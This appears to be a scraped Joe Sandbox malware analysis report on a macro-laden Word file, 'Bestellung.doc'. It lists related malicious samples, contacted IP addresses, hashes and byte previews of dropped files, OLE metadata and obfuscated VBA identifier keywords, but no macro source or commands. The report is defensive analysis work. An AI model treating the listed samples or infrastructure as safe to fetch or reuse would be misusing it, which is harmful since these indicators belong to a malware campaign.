https://view.joesandbox.com/analysis/258191/html/none?idtype=webid
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid
https://view.joesandbox.com/analysis/258052/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258052/html/none?idtype=webid
https://view.joesandbox.com/analysis/258040/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258040/html/none?idtype=webid
https://view.joesandbox.com/analysis/257998/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257998/html/none?idtype=webid
https://view.joesandbox.com/analysis/257995/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257995/html/none?idtype=webid
https://view.joesandbox.com/analysis/257994/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257994/html/none?idtype=webid
https://view.joesandbox.com/analysis/257981/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257981/html/none?idtype=webid
https://view.joesandbox.com/analysis/257979/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257979/html/none?idtype=webid
https://view.joesandbox.com/analysis/257941/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257941/html/none?idtype=webid
https://view.joesandbox.com/analysis/257936/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257936/html/none?idtype=webid


mensaje_012021_1-538086.doc Get hash malicious Browse 104.21.88.166
212.227.200.73
192.0.78.20

eiW9G6sAIS.xlsm Get hash malicious Browse 104.21.88.166
212.227.200.73
192.0.78.20

eiW9G6sAIS.xlsm Get hash malicious Browse 104.21.88.166
212.227.200.73
192.0.78.20

2531 2212 2020 QG-826729.doc Get hash malicious Browse 104.21.88.166
212.227.200.73
192.0.78.20

USD_ Payment Schedule.xls Get hash malicious Browse 104.21.88.166
212.227.200.73
192.0.78.20

Arch 30 S_07215.doc Get hash malicious Browse 104.21.88.166
212.227.200.73
192.0.78.20

Info-237-602317.doc Get hash malicious Browse 104.21.88.166
212.227.200.73
192.0.78.20

Info-237-602317.doc Get hash malicious Browse 104.21.88.166
212.227.200.73
192.0.78.20

8776139.docm Get hash malicious Browse 104.21.88.166
212.227.200.73
192.0.78.20

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: Microsoft Cabinet archive data, 58936 bytes, 1 file

Category: dropped

Size (bytes): 58936

Entropy (8bit): 7.994797855729196

Encrypted: true

SSDEEP: 768:A2CCXehkvodpN73AJjDzh85ApA37vK5clxQh+aLE/sSkoWYrgEHqCinmXdBDz2mi:i/LAvEZrGclx0hoW6qCLdNz2pj

MD5: E4F1E21910443409E81E5B55DC8DE774

SHA1: EC0885660BD216D0CDD5E6762B2F595376995BD0

SHA-256: CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5

SHA-512: 2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAA1A5A151EDA2A7AA64D5250AED908C3B46AFE7262E66D957B255F6D57B6A6BB9E4F9324F2C22E9BF0882
46

Malicious: false

Reputation: high, very likely benign file

Preview:
MSCF....8.......,...................I........S........LQ.v .authroot.stl..0(/.5..CK..8T....c_.d...:.(.....].M$[v.4CH)-.%.QIR..$t)Kd...D.....3.n..u..............|..=H4.U=...X..qn.+S..^J.....y.n.v.XC...
3a.!.....]...c(...p..]..M.....4.....i...}C.@.[..#xUU..*D..agaV..2.|.g...Y..j.^..@.Q......n7R...`.../..s...f...+...c..9+[.|0.'..2!.s....a........w.t:..L!.s....`.O>.`#..'.pfi7.U......s..^...wz.A.g.Y....
....g......:7{.O.......N........C..?....P0$.Y..?m....Z0.g3.>W0&.y](....].`>... ..R.qB..f.....y.cEB.V=.....hy}....t6b.q./~.p........60...eCS4.o......d..}.<,nh..;.....)....e..|....Cxj...f.8.Z..&..G.....
..b.....OGQ.V..q..Y.............q...0..V.Tu?.Z..r...J...>R.ZsQ...dn.0.<...o.K....|.....Q...'....X..C.....a;.*..Nq..x.b4..1,}.'.......z.N.N...Uf.q'.>}........o\.cD"0.'.Y.....SV..g...Y.....o.=.....k..u.
.s.kV?@....M...S.n^.:G.....U.e.v..>...q.'..$.)3..T...r.!.m.....6...r,IH.B <.ht..8.s..u[.N.dL.%...q....g..;T..l..5...\.....g...`...........A$:...........

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 326

Entropy (8bit): 3.123186963792904

Encrypted: false

SSDEEP: 6:kKn/swwDN+SkQlPlEGYRMY9z+4KlDA3RUegeT6lf:v/vkPlE99SNxAhUegeT2

MD5: 58751C83321658B822D07F96886AC97D

SHA1: 9A2EAD2389445754B505B5C9EBB7B8004AB82248

SHA-256: B15FF38BF16C183D1D32FB26EEA232C5D3440D324BEDFB1860CAD1122011D65B

SHA-512: 95738247FBF0252E9B99BC62DCDAFDFF9040ED9847C920C6614021EDEEA7C2F4D4A3A979387743EE2A55E9C6B86F283C6F37F89A706262B318BCCF09214D8EA9

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/257838/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257838/html/none?idtype=webid
https://view.joesandbox.com/analysis/257591/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257591/html/none?idtype=webid
https://view.joesandbox.com/analysis/257588/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257588/html/none?idtype=webid
https://view.joesandbox.com/analysis/257513/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257513/html/none?idtype=webid
https://view.joesandbox.com/analysis/257504/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257504/html/none?idtype=webid
https://view.joesandbox.com/analysis/257500/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257500/html/none?idtype=webid
https://view.joesandbox.com/analysis/257462/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257462/html/none?idtype=webid
https://view.joesandbox.com/analysis/257461/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257461/html/none?idtype=webid
https://view.joesandbox.com/analysis/257448/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257448/html/none?idtype=webid


Malicious: false

Reputation: low

Preview:
p...... ........C.......(....................................................... ..........Y.......$...........8...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s
.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.6.9.5.5.9.e.2.a.0.d.6.1.:.0."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{8AE8CBF3-349E-46EF-BF24-C3A751787722}.tmp
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 1024

Entropy (8bit): 0.05390218305374581

Encrypted: false

SSDEEP: 3:ol3lYdn:4Wn

MD5: 5D4D94EE7E06BBB0AF9584119797B23A

SHA1: DBB111419C704F116EFA8E72471DD83E86E49677

SHA-256: 4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

SHA-512: 95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
A4

Malicious: false

Reputation: high, very likely benign file

Preview:
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{F1BBA518-FEA2-4C8F-A842-E861097210AC}.tmp
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 1536

Entropy (8bit): 1.357318797251612

Encrypted: false

SSDEEP: 3:Iiiiiiiiiif3l/Hlnl/bl//l/bllBl/PvvvvvvvvvvFl/l/lAqsalHl3lldHzlb5:IiiiiiiiiifdLloZQc8++lsJe1Mz0l/

MD5: 6EBEA8A29F9CE829445697F77DFF575C

SHA1: EFB7D697B8CA2D1372505D914D97F34C398A2DB3

SHA-256: 24130780D2254809D96AD425061180079D45A7977FD81723F5201CDF815882DD

SHA-512: E36701EA5E533657E47758C46421E33DBFEB925FAA45B8521DC60F3859779CB2936E5311206E81FF273E59BAFEBC70B965F28AEFA845F94DDD2434CD6288913D

Malicious: false

Preview:
..(...(...(...(...(...(...(...(...(...(...(...A.l.b.u.s...A.........................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
.................."...&...*.......:...>.............................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Cab7446.tmp

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: Microsoft Cabinet archive data, 58936 bytes, 1 file

Category: dropped

Size (bytes): 58936

Entropy (8bit): 7.994797855729196

Encrypted: true

SSDEEP: 768:A2CCXehkvodpN73AJjDzh85ApA37vK5clxQh+aLE/sSkoWYrgEHqCinmXdBDz2mi:i/LAvEZrGclx0hoW6qCLdNz2pj

MD5: E4F1E21910443409E81E5B55DC8DE774

SHA1: EC0885660BD216D0CDD5E6762B2F595376995BD0

SHA-256: CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5

SHA-512: 2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAA1A5A151EDA2A7AA64D5250AED908C3B46AFE7262E66D957B255F6D57B6A6BB9E4F9324F2C22E9BF0882
46

Malicious: false

Preview:
MSCF....8.......,...................I........S........LQ.v .authroot.stl..0(/.5..CK..8T....c_.d...:.(.....].M$[v.4CH)-.%.QIR..$t)Kd...D.....3.n..u..............|..=H4.U=...X..qn.+S..^J.....y.n.v.XC...
3a.!.....]...c(...p..]..M.....4.....i...}C.@.[..#xUU..*D..agaV..2.|.g...Y..j.^..@.Q......n7R...`.../..s...f...+...c..9+[.|0.'..2!.s....a........w.t:..L!.s....`.O>.`#..'.pfi7.U......s..^...wz.A.g.Y....
....g......:7{.O.......N........C..?....P0$.Y..?m....Z0.g3.>W0&.y](....].`>... ..R.qB..f.....y.cEB.V=.....hy}....t6b.q./~.p........60...eCS4.o......d..}.<,nh..;.....)....e..|....Cxj...f.8.Z..&..G.....
..b.....OGQ.V..q..Y.............q...0..V.Tu?.Z..r...J...>R.ZsQ...dn.0.<...o.K....|.....Q...'....X..C.....a;.*..Nq..x.b4..1,}.'.......z.N.N...Uf.q'.>}........o\.cD"0.'.Y.....SV..g...Y.....o.=.....k..u.
.s.kV?@....M...S.n^.:G.....U.e.v..>...q.'..$.)3..T...r.!.m.....6...r,IH.B <.ht..8.s..u[.N.dL.%...q....g..;T..l..5...\.....g...`...........A$:...........

C:\Users\user\AppData\Local\Temp\Tar7447.tmp
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
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File Type: data

Category: dropped

Size (bytes): 152533

Entropy (8bit): 6.31602258454967

Encrypted: false

SSDEEP: 1536:SIPLlYy2pRSjgCyrYBb5HQop4Ydm6CWku2PtIz0jD1rfJs42t6WP:S4LIpRScCy+fdmcku2PagwQA

MD5: D0682A3C344DFC62FB18D5A539F81F61

SHA1: 09D3E9B899785DA377DF2518C6175D70CCF9DA33

SHA-256: 4788F7F15DE8063BB3B2547AF1BD9CDBD0596359550E53EC98E532B2ADB5EC5A

SHA-512: 0E884D65C738879C7038C8FB592F53DD515E630AEACC9D9E5F9013606364F092ACF7D832E1A8DAC86A1F0B0E906B2302EE3A840A503654F2B39A65B2FEA04EC3

Malicious: false

Preview:
0..S...*.H.........S.0..S....1.0...`.H.e......0..C...+.....7.....C.0..C.0...+.....7.............201012214904Z0...+......0..C.0..*.....`...@.,..0..0.r1...0...+.....7..~1......D...0...+.....7..i1...0...
+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. 
.A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.
....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 
..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o.f.t. .R.o.o.t. .A.u.t.h.o

C:\Users\user\AppData\Local\Temp\Tar7447.tmp

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Bestellung.LNK
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:14 2020, mtime=Wed Aug 26 14:08:14 2020, 
atime=Tue Jan 26 17:48:35 2021, length=145408, window=hide

Category: dropped

Size (bytes): 2028

Entropy (8bit): 4.537489843402864

Encrypted: false

SSDEEP: 48:8x/XT0jFYyeDNyeD1o4Qh2x/XT0jFYyeDNyeD1o4Q/:8x/XojFYyeQeRbQh2x/XojFYyeQeRbQ/

MD5: 03C028B20A018596DE32CA7839217BF1

SHA1: 03EA0C629A9F3F19273081BF28D1C2184086CBC7

SHA-256: 9FBB99F78F3B7F2A2DFBAF9B503CD7CD92138FAE5E1BA86242B6892CC3A05D5D

SHA-512: 5B2F0018C88009B2E1328EBDFFA1ECF3445AD52E7C4A63D002D8ED029404A1BAAD8FC3E600AD49C22960C42F5DF7E3955BA51FE5350E3E81698B74B676677F04

Malicious: false

Preview:
L..................F.... ......{.....{...........8...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.
2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y*...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7
.6.9.....f.2..8..:R.. .BESTEL~1.DOC..J.......Q.y.Q.y*...8.....................B.e.s.t.e.l.l.u.n.g...d.o.c.......x...............-...8...[............?J......C:\Users\..#...................\\571345\Use
rs.user\Desktop\Bestellung.doc.%.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.B.e.s.t.e.l.l.u.n.g...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.
6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......571345..........D_....3N...W...9F.C...........[D_....3N...W...9F.C..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 68

Entropy (8bit): 4.303676356199029

Encrypted: false

SSDEEP: 3:M19sJJFul/qJJFulmX19sJJFulv:Mc6ty6561

MD5: BD856F6AAF53F6047E897B1A11F44009

SHA1: 2881B2C812A7A6FCAC8AB1FCE091CA16CEEEA48C

SHA-256: 1DF6E64EF171D86A9944D6EC37DEB14ADFD43AABBC3115EA3B46731FE53944DD

SHA-512: 18D7596336F486B4DB39AAE354CA90F0C67BD5C30274543091BEA9A812577C4A53845BE03E300FD641C33419ED87D74E82CC93916F24B45EAF99DE3EF3152F23

Malicious: false

Preview:
[doc]..Bestellung.LNK=0..Bestellung.LNK=0..[doc]..Bestellung.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 162

Entropy (8bit): 2.431160061181642

Encrypted: false

SSDEEP: 3:vrJlaCkWtVyokKOg5Gll3GwSKG/f2+1/ln:vdsCkWtW2IlID9l

MD5: 39EB3053A717C25AF84D576F6B2EBDD2

SHA1: F6157079187E865C1BAADCC2014EF58440D449CA

SHA-256: CD95C0EA3CEAEC724B510D6F8F43449B26DF97822F25BDA3316F5EAC3541E54A

SHA-512: 5AA3D344F90844D83477E94E0D0E0F3C96324D8C255C643D1A67FA2BB9EEBDF4F6A7447918F371844FCEDFCD6BBAAA4868FC022FDB666E62EB2D1BAB9028919
C
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Static File Info

Malicious: false

Preview:
.user..................................................A.l.b.u.s.............p.........w...............w.............P.w..............w.....z.........w.....x...

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\X5TV0P1DTRO3H8K2VU4A.temp
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.5877401993668956

Encrypted: false

SSDEEP: 96:chQCsMqPqvsqvJCwoNz8hQCsMqPqvsEHyqvJCwor7zvlYYHOf8OPlUV/Iu:cyuoNz8ymHnor7zvOf8O8Iu

MD5: A1C086422CDDA67BE908D501597CF798

SHA1: 5A3B7DC3D7777A25F4B774112BE82542CFA9EB38

SHA-256: B3811F245DE30C19318BAC9AF119066B6429894C233B704D8A270D37AF3ABDA9

SHA-512: 48B00E3AF68DB4D1E76ED9271C1C49F2F5B877235C1D654CF2EC97F9C67E400C6C105485D01EE48F75E0D706E52BE723748C8A2CD6B61CDA13FDF4C01F695AF
C

Malicious: false

Preview:
...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\*...k.....................P.r.o.
g.r.a.m.D.a.t.a.....X.1.....~J|v. MICROS~1..@.......:..~J|v*...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;.*.........................W.i.n.d.o.w.s.......1......:((
..STARTM~1..j.......:...:((*...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf.*...................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.
l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr.*...................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''*.......
..................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,*....=....................W.i.n.d.o.w.s. 

C:\Users\user\Cha1_5j\Pzyrxyv\J47K.dll

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: modified

Size (bytes): 628447

Entropy (8bit): 6.912338352754585

Encrypted: false

SSDEEP: 12288:iYzchQVZnkmt/70MWugxPJZFpf0c1pHAbdJxUR9rNXZL4:t4KV5Hpt8bZHL4nM919

MD5: AAB0A07CC43D3668060B276D2CADA799

SHA1: 0DB1EFC93F344EC0172E33CC168417495B6A1698

SHA-256: F87BEED935FBE173F635CA3574F4B18EC1657941DA9778C448339ECACBF35698

SHA-512: 319A38BD51A57E21322B239E6ABD90BEBFD1F86D7C3928441600DEC4D610C7F599F2AC160E16D24C269CBA9919FE92020408B28AD6C2ABC702DC00507C04B9F
D

Malicious: true

Preview:
<!DOCTYPE html>.  [if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->.  [if IE 7]>    <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->.  [if IE 8]>    
<html class="no-js ie8 oldie" lang="en-US"> <![endif]-->.  [if gt IE 8]>  > <html class="no-js" lang="en-US">   <![endif]-->.<head>.<title>Suspected phishing site | Cloudfl
are</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge,c
hrome=1" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1" />.<link rel="stylesheet" id="
cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" type="text/css" media="screen,projection" />.  [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/c
f.errors.ie.css" type="text/css" media="screen,projection" /><![endif]-->.<style type="text/css">body{margin:0;padding:0}</style>...  

C:\Users\user\Desktop\~$stellung.doc
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 162

Entropy (8bit): 2.431160061181642

Encrypted: false

SSDEEP: 3:vrJlaCkWtVyokKOg5Gll3GwSKG/f2+1/ln:vdsCkWtW2IlID9l

MD5: 39EB3053A717C25AF84D576F6B2EBDD2

SHA1: F6157079187E865C1BAADCC2014EF58440D449CA

SHA-256: CD95C0EA3CEAEC724B510D6F8F43449B26DF97822F25BDA3316F5EAC3541E54A

SHA-512: 5AA3D344F90844D83477E94E0D0E0F3C96324D8C255C643D1A67FA2BB9EEBDF4F6A7447918F371844FCEDFCD6BBAAA4868FC022FDB666E62EB2D1BAB9028919
C

Malicious: false

Preview:
.user..................................................A.l.b.u.s.............p.........w...............w.............P.w..............w.....z.........w.....x...
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General
File type: Composite Document File V2 Document, Little Endian, 

Os: Windows, Version 6.2, Code page: 1252, Title: 
Quaerat sint enim doloribus doloribus eaque blanditiis 
fugiat debitis. Quis quis similique eum. Veniam doloribus 
necessitatibus sunt qui non assumenda quas. Minima ut 
magni non., Author: Monserrat Kanea, Revision Numbe
r: 1, Name of Creating Application: Microsoft Office 
Word, Create Time/Date: Mon Jan 25 09:18:00 2021, 
Last Saved Time/Date: Mon Jan 25 09:18:00 2021, 
Number of Pages: 1, Number of Words: 5366, Number 
of Characters: 30587, Security: 8

Entropy (8bit): 6.255456963718578

TrID: Microsoft Word document (32009/1) 79.99%
Generic OLE2 / Multistream Compound File 
(8008/1) 20.01%

File name: Bestellung.doc

File size: 144896

MD5: 268e0826d78c069d3834a8203a44af4f

SHA1: 5f14c1a62195af4f3018b57d097876fb41da7937

SHA256: f9f3c11c9f92d92d74eb40958a14d97f0f36497b6c86109b
237628815642102a

SHA512: 32e64cac805cfcb78cd72936176ef0d7e8951c10b810ad0
799e4d89ce6475e3ee7c1c000ab4af07bf28a1fbb2ce784
9ebf887c41a3cb4b372ae4bebf58ee9f9e

SSDEEP: 1536:dNpHZTgQSz4w4K0vOYOcc2bqrQF7khnKBf1Hxi
Qk:V1gQSU3K0hzqrQFwh8Hy

File Content Preview: ........................>...............................................................
.........................................................................................
..............................................................................

File Icon

Icon Hash: e4eea2aaa4b4b4a4

General
Document Type: OLE

Number of OLE Files: 1

Indicators
Has Summary Info: True

Application Name: Microsoft Office Word

Encrypted Document: False

Contains Word Document Stream: True

Contains Workbook/Book Stream: False

Contains PowerPoint Document Stream: False

Contains Visio Document Stream: False

Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros: True

Summary
Code Page: 1252

Title: Quaerat sint enim doloribus doloribus eaque blanditiis fugiat debitis. Quis quis similique eum. 
Veniam doloribus necessitatibus sunt qui non assumenda quas. Minima ut magni non.

Subject:

Author: Monserrat Kanea

Keywords:

Comments:

Template:

Last Saved By:

Revion Number: 1

Total Edit Time: 0

Create Time: 2021-01-25 09:18:00

Static OLE Info

OLE File "Bestellung.doc"
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Last Saved Time: 2021-01-25 09:18:00

Number of Pages: 1

Number of Words: 5366

Number of Characters: 30587

Creating Application: Microsoft Office Word

Security: 8

Summary

Document Summary
Document Code Page: -535

Number of Lines: 254

Number of Paragraphs: 71

Thumbnail Scaling Desired: False

Company: Ramos e Hijos

Contains Dirty Links: False

Shared Document: False

Changed Hyperlinks: False

Application Version: 917504

General

Stream Path: Macros/VBA/Jlzk8qsqcshl6jk

VBA File Name: Jlzk8qsqcshl6jk

Stream Size: 14594

Data ASCII: . . . . . . . . . d . . . . . . . . . . . . . . . l . . . . , . . . . . . . . . . E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: 01 16 01 00 00 f0 00 00 00 64 10 00 00 d4 00 00 00 b0 01 00 00 ff ff ff ff 6c 10 00 00 1c 2c 00 
00 00 00 00 00 01 00 00 00 45 ed dd ee 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 
00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 

Keyword

RzBkG

Array((IcMvJH),

woXMHFAWj:

ndrons

zaPgDlYE

wefyBED

EBzng

TTSSDBE)

ihJfBp

Array((KTwdM),

Const

tfUFkPBI

frXBRIAUC)

ZDFvjGA

BkXdJC

Resume

YoONRCDR

Split(OhlNFI,

VGJvOIo

HKGPhf()

Array((RCizEteb),

Array((YoONRCDR),

Array((tTYAKI),

VGJvOIo:

gHvzZ

Ikdha

AndgBCK()

dGHeiB)

Streams with VBA

VBA File Name: Jlzk8qsqcshl6jk, Stream Size: 14594

VBA Code Keywords
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IfwvovBbI:

AndgBCK

nXOBD

LPhmsCuzH

hpBCIH

Array((RPnSaCJu),

zWNhsCZ

mxkikw

"ndpns

wPwsfD

zrdcAzBue)

pqwm,

VCOQBBJME

Array((cujVJONG),

qabazEA

SdmZKHA

Array((jvKCCCN),

xqRcJHJC

bvWlGF

Array((BjxaCGJ),

BJuiHE()

DfLwCIJs

Array((szAVCX),

YeFGHHg

cujVJONG

Array((QhLjEC),

UdmGIddWE

SwIwjFCGt

vXKNhR()

Array((nUCpSBGl),

IAZNKNFF

Range:

NjfVZEH

TtymyqHC

"*high*,*critic*"

RCizEteb

SdmZKHA:

RPnSaCJu

kqPZDRGh

xolsDFAoA

UdmGIddWE)

dxujxGCSH:

kzJQDGJE

eFJdCEIGJ

TmaaI)

GvzsBP

aspdJ

Split(eiWFHgJI,

BJuiHE

mjbBYHhbs

mgbUQB:

gFPNA()

aRiqA

VkIrTt

YqzDYkkZ

tFQrUF:

UByHC

FQbNABABD

JoWtI

String

BcOIJEb

LIhSwfESI

ymBRCJA

tFQrUF

Keyword
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dDVvDFyJ

Split(aspdJ,

AEmiPt

Nothing

GwCvEyD

Split(FwnlEcJ,

mgbUQB

HKGPhf

dDVvDFyJ:

PCZMFnb)

Nbpclsvfxustc,

nMrFDxBZ)

qabazEA:

Array((yoxbGFcFG),

qckhE

NRCfdB

fcMsqBqHS

WnGZXISGD

Split(zWNhsCZ,

mQJJC:

UFSXB

UFSXB)

KTwdM

Split(ymBRCJA,

frXBRIAUC

TWtrFHKBF

nd:wns

GpgYnI()

Array((IzaGEVCD),

CivKlI

NPikOxWEE)

tkDRHFKIL

kOGmA)

eFJdCEIGJ()

JHxtqF

NABiUJmBA

PCZMFnb

zrdcAzBue

Split(gzqiCG,

VkIrTt)

dxujxGCSH

gHvzZ)

NRCfdB)

UNxmoIDW()

ndgmns

BBKJHBtF

EBzng)

eBdxEG

AEmiPt:

Split(BkXdJC,

QTrqHnpVB

Split(QTrqHnpVB,

ndinns

kzJQDGJE()

Array((FQbNABABD),

Split(Ikdha,

LIhSwfESI()

nMrFDxBZ

Mid(skuwd,

Target)

tTYAKI

AsczD()

gFPNA

LIJNuGn

Keyword
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xqRcJHJC()

mpLEDLwAI)

tkDRHFKIL()

Split(kvSXRJ,

mpLEDLwAI

HJbpE:

FwnlEcJ

dGHeiB

xhvKHu

szAVCX

URsHL()

tllnMEB

Split(wefyBED,

Len(skuwd))

RoGdiLo

ZDFvjGA)

xolsDFAoA)

IAZNKNFF:

kvSXRJ

bhdApJCs

BjxaCGJ

Array((JoWtI),

Split(liXWDHf,

XCCUFUDF()

woXMHFAWj

Split(SwIwjFCGt,

Array((ODzQPrd),

Array((NABiUJmBA),

ndmns

Attribute

OhlNFI

uPBZMu

JHxtqF()

DOTbEvAC

aRiqA:

QhLjEC

Split(RoGdiLo,

URsHL

Split(wrBNJ,

ndsns

nUCpSBGl

OMnbClgE

NjfVZEH:

MemVBBC

Array((TWtrFHKBF),

WTESfHHbE

jvKCCCN

GwBkDZG

TmaaI

LIJNuGn:

RzBkG)

VB_Name

Content

uPBZMu:

Split(DOTbEvAC,

wxhyXoc

Array((GvzsBP),

Function

ODzQPrd

kYSmGCjDH

lJxIKkhCA

LPhmsCuzH()

OMnbClgE:

eiWFHgJI

Keyword
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VBA Code

Error

